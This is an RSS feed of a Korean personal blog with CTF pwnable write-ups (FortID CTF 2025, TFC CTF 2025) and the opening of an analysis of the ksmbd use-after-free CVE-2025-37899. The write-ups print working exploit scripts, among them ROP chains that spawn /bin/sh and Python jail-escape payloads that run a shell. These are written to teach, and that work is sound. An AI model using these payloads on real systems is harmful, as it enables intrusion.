<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Aiden</title><description>Blog</description><link>https://aidenkim-com.github.io/</link><language>en</language><item><title>FortID CTF 2025 Pwnable Writeup</title><link>https://aidenkim-com.github.io/posts/fortid-ctf-2025/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/fortid-ctf-2025/</guid><description>Pwnable Writeup</description><pubDate>Sun, 21 Sep 2025 04:40:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;ㅎㅇ 포너블 라이트업 입ㄴ다ㅣ.&lt;/p&gt;
&lt;h1&gt;Protect the Environment&lt;/h1&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall1_title.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chall.c&lt;/code&gt;와 &lt;code&gt;libc&lt;/code&gt; 정보등이 주어집니다. 제공되는 파일에 따르면 서버에서 사용되는 &lt;code&gt;libc&lt;/code&gt;는 &lt;code&gt;2.27&lt;/code&gt;이겠군요.&lt;/p&gt;
&lt;h2&gt;Static Analysis&lt;/h2&gt;
&lt;p&gt;문제 코드를 보면 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gcc -o chall chall.c

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

void rot13(char *s) {
  while (*s != 0) {
    *s += 13;
    s++;
  }
}

int main(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  char command[64];
  char name[64];

  while (1) {
    printf(&quot;&amp;gt; &quot;);
    scanf(&quot;%63s %63s&quot;, command, name);
    if (!strcmp(command, &quot;protect&quot;)) {
      char *val = getenv(name);
      if (val) {
        rot13(val);
        printf(&quot;Protected %s\n&quot;, name);
      } else {
        printf(&quot;No such environment variable\n&quot;);
      }
    } else if (!strcmp(command, &quot;print&quot;)) {
      if (!strcmp(name, &quot;FLAG&quot;)) {
        printf(&quot;Access denied\n&quot;);
      } else {
        char *val = getenv(name);
        if (val) {
          printf(&quot;%s=%s\n&quot;, name, val);
        } else {
          printf(&quot;No such environment variable\n&quot;);
        }
      }
    } else {
      printf(&quot;Unknown command\n&quot;);
      break ;
    }
  } 
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;print&lt;/code&gt;와 &lt;code&gt;protect&lt;/code&gt; 커맨드가 제공되고 있으며, 이에 대한 타겟은 바이너리가 실행될 때 갖게되는 환경 변수가 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;protect&lt;/code&gt; 커맨드를 환경 변수에 적용시키면 환경 변수에 입력된 값에 대해서 &lt;code&gt;ROT13&lt;/code&gt; 연산을 진행하게됩니다.&lt;/p&gt;
&lt;p&gt;또한 &lt;code&gt;print&lt;/code&gt; 커맨드에서 볼 수 있듯, &lt;code&gt;FLAG&lt;/code&gt; 환경 변수가 설정되어있는 듯 하고, 이를 읽는 문제라고 볼 수 있겠습니다.&lt;/p&gt;
&lt;p&gt;그대로 &lt;code&gt;print&lt;/code&gt; 연산의 인자로 지정할 경우 필터링에 걸리기 때문에 &lt;code&gt;FLAG&lt;/code&gt;를 평문으로 보는 방법은 없습니다. 딱히 공격할 구간이 있지도 않았습니다.&lt;/p&gt;
&lt;p&gt;해당 문제에서는 환경변수에 가공을 가할 경우 발생하는 논리적 문제를 이용해서 플래그를 얻어낼 수 있습니다. 현재 플래그의 생김새를 대충 생각해보면 환경 변수는 다음과 같이 스택에 설정 되어있을겁니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;FLAG=?????????&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;이때 &lt;code&gt;=&lt;/code&gt; 이후의 구간에 &lt;code&gt;ROT13&lt;/code&gt; 연산을 진행했을 때 다음과 같이 나오게된다면,&lt;/p&gt;
&lt;p&gt;&lt;code&gt;FLAG==????????&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;환경변수 이름을 &lt;code&gt;FLAG=&lt;/code&gt;로 조회하여 필터링을 우회하고 &lt;code&gt;ROT13&lt;/code&gt;이 &lt;code&gt;N&lt;/code&gt;번 걸려있는 상태의 플래그 값을 볼 수 있습니다. 해당 문제를 풀 당시에는 느낌적으로 &quot;그렇게 하면 되지 않을까?&quot;로 접근했었는데, 운 좋게 맞아떨어졌습니다. &lt;code&gt;glibc-2.27&lt;/code&gt;에서의 &lt;code&gt;getenv&lt;/code&gt; 코드는 &amp;lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.27/source/stdlib/getenv.c&quot;&amp;gt;여기&amp;lt;/a&amp;gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;먼저 다음과 같은 코드로 &lt;code&gt;FLAG==&lt;/code&gt;의 형태로 값을 만들기 위해 필요한 &lt;code&gt;N&lt;/code&gt;값 + &lt;code&gt;ROT13&lt;/code&gt;이 &lt;code&gt;N&lt;/code&gt;번 적용된 플래그 값을 추출해냅니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
p = remote(&apos;0.cloud.chals.io&apos;, 33121)
i = 1
while True:
    p.sendlineafter(&apos;&amp;gt;&apos;, &apos;protect FLAG&apos;)
    p.sendlineafter(&apos;&amp;gt;&apos;, &apos;print FLAG=&apos;)
    result = p.recvuntil(&apos;No such environment variable\n&apos;, timeout=3)
    if b&quot;&quot; == result:
        break
    i+=1
print(i)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;다음으로는 이렇게 구한 &lt;code&gt;N&lt;/code&gt;과 인코딩된 플래그 값을 가지고 원본 플래그를 복원하면 됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a = &quot;=fik@;r?+i;VkFVgifK*:KVk_*V*em(iFed*EKVn(k?VC(YZVD(,ki*+k(e^V(kt&quot;
cnt = 19
for i in a:
    print(chr((ord(i)-13*cnt)&amp;amp;0xff), end=&quot;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall1_flag.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h1&gt;Déjà vu&lt;/h1&gt;
&lt;p&gt;C++ 문제입니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall2_title.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;소스 코드와 문제 파일이 주어집니다.&lt;/p&gt;
&lt;h2&gt;Analysis (Static, Dynamic)&lt;/h2&gt;
&lt;p&gt;소스 코드를 보면 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// g++ -o chall chall.cpp --static

#include &amp;lt;functional&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;

using namespace std;

// Decorator factory: returns a function that adds a prefix
auto make_prefix_decorator(const char* prefix) {
    return new function&amp;lt;void(const char*)&amp;gt;([prefix](const char *input) {
        puts(prefix);
        puts(input);
    });
}

int main() {
    cout.setf(ios::unitbuf);
    // Get the name from user
    cout &amp;lt;&amp;lt; &quot;Enter your name: &quot;;
    string name;
    getline(cin, name);
    // Create a decorator that prints with &quot;Hello, &quot; prefix
    auto decorator = make_prefix_decorator(&quot;Hello, &quot;);
    // Use the decorator
    (*decorator)(name.c_str());
    // Clean up
    delete[] decorator; 
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;데코레이터를 만들고 사용하는 코드입니다. 이때 생성된 데코레이터를 해제하는 과정에서 문제가 발생합니다. 단일 객체임에도 불구하고 배열 형태의 해제 문법을 사용하고 있습니다. &lt;code&gt;IDA&lt;/code&gt;로 열어보면 이로인해 해제되는 타겟을 객체 배열로 인식하여 각각의 소멸자를 호출하려함을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall2_ida1.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;최종적으로 &lt;code&gt;_Function_base&lt;/code&gt;에 대한 소멸자가 다음과 같이 호출됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall2_ida2.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;또한 호출 시점에 레지스터들이 다음과 같이 설정되어있다는 사실을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall2_gdb.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이를 활용해서 공격을 수행해봅시다.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;보호 기법은 다음과 같이 무난합니다. PIE가 적용되어있지 않아서 따로 릭 과정은 거치지 않아도 되겠네요. &lt;code&gt;static&lt;/code&gt; 바이너리니 라이브러리도 필요없습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall2_mitigation.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;소멸자에 해당하는 구간에 사용자 입력을 넣을 수 있으며, 전달되는 첫 번째 인자 역시 임의로 조작하는 것이 가능합니다.&lt;/p&gt;
&lt;p&gt;주어진 힙 영역에 다음과 페이로드를 다음과 같이 삽입해줍시다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall2_payload.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;공격 흐름은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;현재 &lt;code&gt;RCX&lt;/code&gt;가 담고 있는 힙 주소로 &lt;code&gt;RSP&lt;/code&gt; 피봇, 이후 &lt;code&gt;ROP&lt;/code&gt; 체이닝 가능&lt;/li&gt;
&lt;li&gt;&lt;code&gt;read&lt;/code&gt;로 &lt;code&gt;/bin/sh&lt;/code&gt;를 적당한 위치에 삽입&lt;/li&gt;
&lt;li&gt;&lt;code&gt;execve(&quot;/bin/sh&quot;, NULL, NULL);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;최종 공격 코드는 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

p = remote(&apos;0.cloud.chals.io&apos;, 26620)

POP_RAX = p64(0x4006df)
POP_RDI = p64(0x400b16)
POP_RDX = p64(0x423032)
POP_RBX = p64(0x482082)

POP_RSI = p64(0x4036de)
SH = p64(0x57fd0c)
SH_BUFF = p64(0x7bd000)
SYSCALL = p64(0x514a87)

payload = b&apos;A&apos;*(512)
payload += p64(0x401841)
payload += p64(0x0) # dummy
payload += p64(0x49a26e)

# read
payload += POP_RAX
payload += p64(0x0)
payload += POP_RDI
payload += p64(0x0)
payload += POP_RSI
payload += SH_BUFF
payload += POP_RDX
payload += p64(0x100)
payload += SYSCALL

payload += POP_RAX
payload += p64(0x3b)
payload += POP_RDI
payload += SH_BUFF
payload += POP_RSI
payload += p64(0x0)
payload += POP_RDX
payload += p64(0x0)
payload += SYSCALL

p.sendlineafter(&apos;:&apos;,payload)
p.send(&apos;/bin/sh\x00&apos;)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Michael Scofield&lt;/h1&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/FortID-CTF-2025/chall3_title.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pyjail&lt;/code&gt; 문제입니다.(이게 왜 포너블?) 다음과 같은 코드가 주어집니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def check_pattern(user_input):
    &quot;&quot;&quot;
    This function will check if numbers or strings are in user_input.
    &quot;&quot;&quot;
    return &apos;&quot;&apos; in user_input or &apos;\&apos;&apos; in user_input or any(str(n) in user_input for n in range(10))


while True:
    user_input = input(&quot;&amp;gt;&amp;gt; &quot;)

    if len(user_input) == 0:
        continue

    if len(user_input) &amp;gt; 500:
        print(&quot;Too long!&quot;)
        continue

    if not __import__(&quot;re&quot;).fullmatch(r&apos;([^()]|\(\))*&apos;, user_input):
        print(&quot;No function calls with arguments!&quot;)
        continue

    if check_pattern(user_input):
        print(&quot;Numbers and strings are forbbiden&quot;)
        continue

    forbidden_keywords = [&apos;eval&apos;, &apos;exec&apos;, &apos;import&apos;, &apos;open&apos;]
    forbbiden = False
    for word in forbidden_keywords:
        if word in user_input:
            forbbiden = True

    if forbbiden:
        print(&quot;Forbbiden keyword&quot;)
        continue

    try:
        output = eval(user_input, {&quot;__builtins__&quot;: None}, {})
        print(output)
    except:
        print(&quot;Error&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;다음과 같은 순서로 탈옥이 가능합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;().__class__.__base__.__subclasses__()[[True+True+True+True+True+True+True+True+True+True+True+True].pop()**[True+True].pop()+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True]()()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pdb → sandbox&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ y for y in [ x for x in ().__class__.__base__.__subclasses__()[[True+True].pop()**[True+True+True+True+True+True+True].pop()+True+True+True+True+True+True+True+True+True+True+True+True+True].__init__.__globals__.values()] [[True+True].pop()**[True+True+True].pop()].modules.values()][True-True-True-True].set_trace()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이후 pdb 쉘에서 필터링 없이 자유롭게 공격 가능&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&quot;.__class__.__base__.__subclasses__()[141].__init__.__globals__[&quot;__builtins__&quot;][&quot;__import__&quot;](&quot;os&quot;).system(&quot;sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;숫자를 쓰지 못하니 &lt;code&gt;True+True=2&lt;/code&gt;와 같이 나온다는 점에 착안하여 &lt;code&gt;제곱수 + 나머지&lt;/code&gt;의 형식으로 값을 산출한뒤 인덱스에 맞는 값으로 나머지 &lt;code&gt;+&lt;/code&gt; 연산을 진행했습니다.&lt;/p&gt;
&lt;p&gt;이후 노가다를 통해 인덱스를 죄다 구한 다음에 &lt;code&gt;pdb&lt;/code&gt;로 접속해서 쉘 커맨드를 실행하면 탈옥이 가능합니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;FortID{Wh3n_7h3_517u4710n_l00k5_1mp0551bl3,_y0u_d0n7_g1v3_up}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;끝!&lt;/p&gt;
</content:encoded></item><item><title>TFC CTF 2025 Pwnable Writeup (MUCUSKY)</title><link>https://aidenkim-com.github.io/posts/tfc-ctf-2025/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/tfc-ctf-2025/</guid><description>Pwnable Writeup</description><pubDate>Fri, 19 Sep 2025 16:30:00 GMT</pubDate><content:encoded>&lt;h1&gt;TFC CTF 2025&lt;/h1&gt;
&lt;p&gt;이번 글은 얼마전 열린 CTF에 대한 포너블 라이트업이 되겠네요. 밀린 Writeup이 많긴한데 TFC CTF를 시작으로 밀린 것들을 모두 올려볼 예정입니당.&lt;/p&gt;
&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/mucusky.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;MUCUSKY&lt;/code&gt;는 &lt;code&gt;C-SKY&lt;/code&gt; 아키텍처에서 공격을 수행하는 문제였습니다. 생소한 아키텍처긴 했지만, 바이너리 자체는 공부해보면 금방 풀 수 있었습니다.&lt;/p&gt;
&lt;h1&gt;C-SKY&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;C-SKY&lt;/code&gt;는 중국에서 개발한 CPU 아키텍처 중 하나입니다. 정보가 그~렇게 많지는 않은데, 일단 &amp;lt;a href=&quot;https://github.com/c-sky&quot;&amp;gt;&lt;code&gt;github repo&lt;/code&gt;&amp;lt;/a&amp;gt;가 존재하기 때문에 필요한 것들은 갖춘 편이었습니다. 바이너리를 익스플로잇하는데에 당장에 필요했던 건 해당 아키텍처에 대한 명령셋 이해정도?면 충분했습니다.&lt;/p&gt;
&lt;h1&gt;Analysis (Static, Dynamic)&lt;/h1&gt;
&lt;p&gt;파일은 대충 요런 파일들이 제공됩니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/files.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;바이너리 정보를 확인해보면 32bit C-SKY 아키텍처고 &lt;code&gt;static&lt;/code&gt; 빌드 상태 및 심볼이 빠져있다는 것을 알 수 있습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/bin_info.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;한번 실행시켜보면 문자열을 입력받고 뭔가 오염시킬 수 있을 듯한 뉘앙스를 풍기면서 터져버립니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/bang.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이제 디컴파일을 위해 &lt;code&gt;ghidra&lt;/code&gt;를 사용해줍니다. 아키텍처가 워낙 특이하다보니 &lt;code&gt;ghidra&lt;/code&gt;의 &lt;code&gt;extension&lt;/code&gt;을 활용해줍시다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/ghidra_csky.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;까보면 입력 부분에서 오버플로우가 발생한다는 것을 알 수 있습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/ghidra_analysis1.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gdb&lt;/code&gt;로 확인해보면 리턴 값이 담길 &lt;code&gt;r15&lt;/code&gt;와 &lt;code&gt;r8&lt;/code&gt; 역시 오염된다는 사실을 알 수 있습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/csky-gdb1.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h1&gt;Exploit&lt;/h1&gt;
&lt;p&gt;이제 위에서의 간단한 오버플로우로 리턴 주소 및 레지스터 정보가 오염된다는 사실을 이용하면 됩니다. 이때, static 바이너리기 때문에 적절한 가젯을 바이너리 내부에서 찾아야하는데, 마침 &lt;code&gt;c-sky&lt;/code&gt;에서 시스템 콜에 해당하는 &lt;code&gt;trap&lt;/code&gt; 명령이 프로그램의 입력과 출력을 위해 존재합니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x818e&lt;/code&gt;에서 &lt;code&gt;rts&lt;/code&gt; 명령어로 점프하는 시점에서 &lt;code&gt;r8&lt;/code&gt;과 &lt;code&gt;r15&lt;/code&gt; 조작이 가능합니다. 이를 이용해서 시스템 콜을 수행하려면 다음과 같은 구간을 활용하면 됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/ghidra_analysis2.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;현재 페이로드가 담긴 스택 주소를 알고있다면, 해당 부분에서 역참조되는 &lt;code&gt;r8&lt;/code&gt;의 주소를 조작해서 스택에 존재하는 값을 원하는 레지스터로 밀어넣을 수 있습니다. 결과적으로 원하는 인자를 레지스터로 설정해서 시스템 콜을 수행할 수 있게됩니다.&lt;/p&gt;
&lt;p&gt;스택에 페이로드를 다음과 같이 구성해줍니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/TFC-CTF-2025/payload.png&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x8250&lt;/code&gt;의 &lt;code&gt;trap&lt;/code&gt;으로 &lt;code&gt;/bin/sh&lt;/code&gt;가 실행됩니다. 최종 공격 코드는 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# ncat --ssl mucusuki-c9b67a4d63fe2205.challs.tfcctf.com 1337
p = remote(&apos;mucusuki-c9b67a4d63fe2205.challs.tfcctf.com&apos;, 1337, ssl=True)

STACK = 0x3ffffecc + 0x10

payload = p32(0x0)
payload += p32(STACK+8)
payload += p32(STACK)
payload += p32(221+21) # 221
payload += b&apos;/bin/sh\x00&apos;
payload += p32(STACK)
payload += b&apos;\x00&apos;*72
payload += p32(STACK) # STACK
payload += p32(0x822e) # RET

import time
time.sleep(5)
p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;TFCCTF{t0_beat_mcsky_y0u_had_to_csky_now_go_after_cromozominus}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;끝!&lt;/p&gt;
</content:encoded></item><item><title>CVE-2025-37778/CVE-2025-37899</title><link>https://aidenkim-com.github.io/posts/cve-2025-37899/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2025-37899/</guid><description>Analysis of Linux Kernel&apos;s SMB Implementation Vulnerability discovered with o3</description><pubDate>Wed, 17 Sep 2025 17:30:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하기보단 알게된 리눅스 커널 SMB 서버 구현체에서 발생하는 취약점입니다! 커널에서 SMB 서버를 구현한다는 것도 처음 알았네요 허허&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;최근에는 대부분의 시간을 AI 공부에 쏟는 거 같네요!&lt;/p&gt;
&lt;p&gt;&amp;lt;div align=&quot;center&quot;&amp;gt;&amp;lt;figure&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-37899/now.png&quot; /&amp;gt;&amp;lt;figcaption&amp;gt;쳇바퀴같이 반복되는 요즘 삶에 AI까지 끼워넣어버린 내 상태&amp;lt;/figcaption&amp;gt;&amp;lt;/figure&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;AI 열풍이 불어도 관련 공부가 손에 잘 안잡혔었는데, 이번 기회에 AI.. 특히 에이전트 개발에 대해서 깊게 공부해보기로 했씁니다.&lt;/p&gt;
&lt;p&gt;CVE-2025-37899은 &amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=02d16046cd11a5c037b28c12ffb818c56dd3ef43&quot;&amp;gt;2025년 4월경 커밋&amp;lt;/a&amp;gt;이 올라오고 &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-37899&quot;&amp;gt;2025년 5월 20일에 취약점 정보가 공개된&amp;lt;/a&amp;gt; 리눅스 커널의 UAF 취약점입니다. 현재 글 작성 시점 비교적 최근에 발견된 취약점이라 그런지, 이에 대한 정보는 아직 상세히 나와있지 않습니다.&lt;/p&gt;
&lt;p&gt;이번에 알아볼 취약점은 OpenAI의 AI 모델 중 하나인 o3를 통해 발견되었다고 합니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/&quot;&amp;gt;https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://wiki.samba.org/index.php/Linux_Kernel_Server&quot;&amp;gt;https://wiki.samba.org/index.php/Linux_Kernel_Server&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-37899&quot;&amp;gt;CVE-2025-37899&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;먼저 이번의 취약점이 발생한 구간을 이해하기 위한 기초 지식에 대한 내용을 조금 공부해보도록 합시다.&lt;/p&gt;
&lt;h2&gt;SMB3 Kernel Server&lt;/h2&gt;
&lt;p&gt;지금부터 알아볼 리눅스 커널 속 SMB3 서버에 대한 아키텍처 구조입니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-37899/smbd_architecture.png&quot; /&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h3&gt;ksmbd&lt;/h3&gt;
&lt;p&gt;리눅스 커널은 놀랍고도 신기하게도 SMB3 서버 구현체를 커널 내부적으로 가지고 있습니다. 즉, 커널에서 SMB3 서버 기능을 커널 모듈 형태로 제공하게됩니다.&lt;/p&gt;
&lt;p&gt;주된 목적은 최적화로써 소형 장치에서도 사용하기 쉽게 만들려는 노력으로 보입니다. 유명한 서버 프로그램 중 하나인 Samba를 대체하기 위한 것이 아닌 리눅스에서의 최적화를 목적으로 한다고 합니다.&lt;/p&gt;
&lt;p&gt;이때 지금 언급하는 &lt;code&gt;ksmbd&lt;/code&gt;는 서버 역할을 하는 리눅스 커널 모듈이며, 성능과 관련된 파일 작업등을 처리해주는 역할을 합니다.&lt;/p&gt;
&lt;h3&gt;ksmbd.mountd&lt;/h3&gt;
&lt;p&gt;유저 영역에 존재하는 데몬으로 netlink를 통해 ksmbd와 연결되어 요청을 수행하게됩니다. 다음과 같은 역할 역시 수행합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;사용자 계정 및 비밀번호 관리 및 커널 데몬으로 전달&lt;/li&gt;
&lt;li&gt;커널 데몬으로 공유 정보 파라미터 전달&lt;/li&gt;
&lt;li&gt;RPC 호출 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;CVE-2025-37778&lt;/h2&gt;
&lt;p&gt;CVE-2025-37899를 찾아낸 제보자는 당시 새로 출시된 o3의 능력을 벤치마킹 해보기 위해 본인이 직접 찾아낸 &lt;code&gt;CVE-2025-37778&lt;/code&gt;를 활용하게 됩니다. 이에 대해서 알아보도록 합시다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CVE-2025-37778&lt;/code&gt;은 UAF 버그로 이 취약점을 통해 알아볼 점은 어떠한 문제가 커널 삼바 서버 코드내에 존재하는지와 어떤 식으로 이를 트리거 시켜야하는지에 대해서 정도입니다.&lt;/p&gt;
&lt;h3&gt;RCA&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fix dangling pointer in krb_authenticate krb_authenticate frees sess-&amp;gt;user and does not set the pointer to NULL. It calls ksmbd_krb5_authenticate to reinitialise sess-&amp;gt;user but that function may return without doing so. If that happens then smb2_sess_setup, which calls krb_authenticate, will be accessing free&apos;d memory when it later uses sess-&amp;gt;user.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Description에 따르면 &lt;code&gt;krb_authenticate&lt;/code&gt;에서 해제된 포인터를 가지고 있는 멤버 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;에 대해서 적절하게 &lt;code&gt;NULL&lt;/code&gt; 설정이 이루어지지 않는다고 하고 있습니다. 그리고 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;를 재설정할 책임이 있는 &lt;code&gt;ksmbd_krb5_authenticate&lt;/code&gt; 역시 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;에 대한 재설정 처리를 하지 않게 됨으로써 UAF가 발생한다고 합니다.&lt;/p&gt;
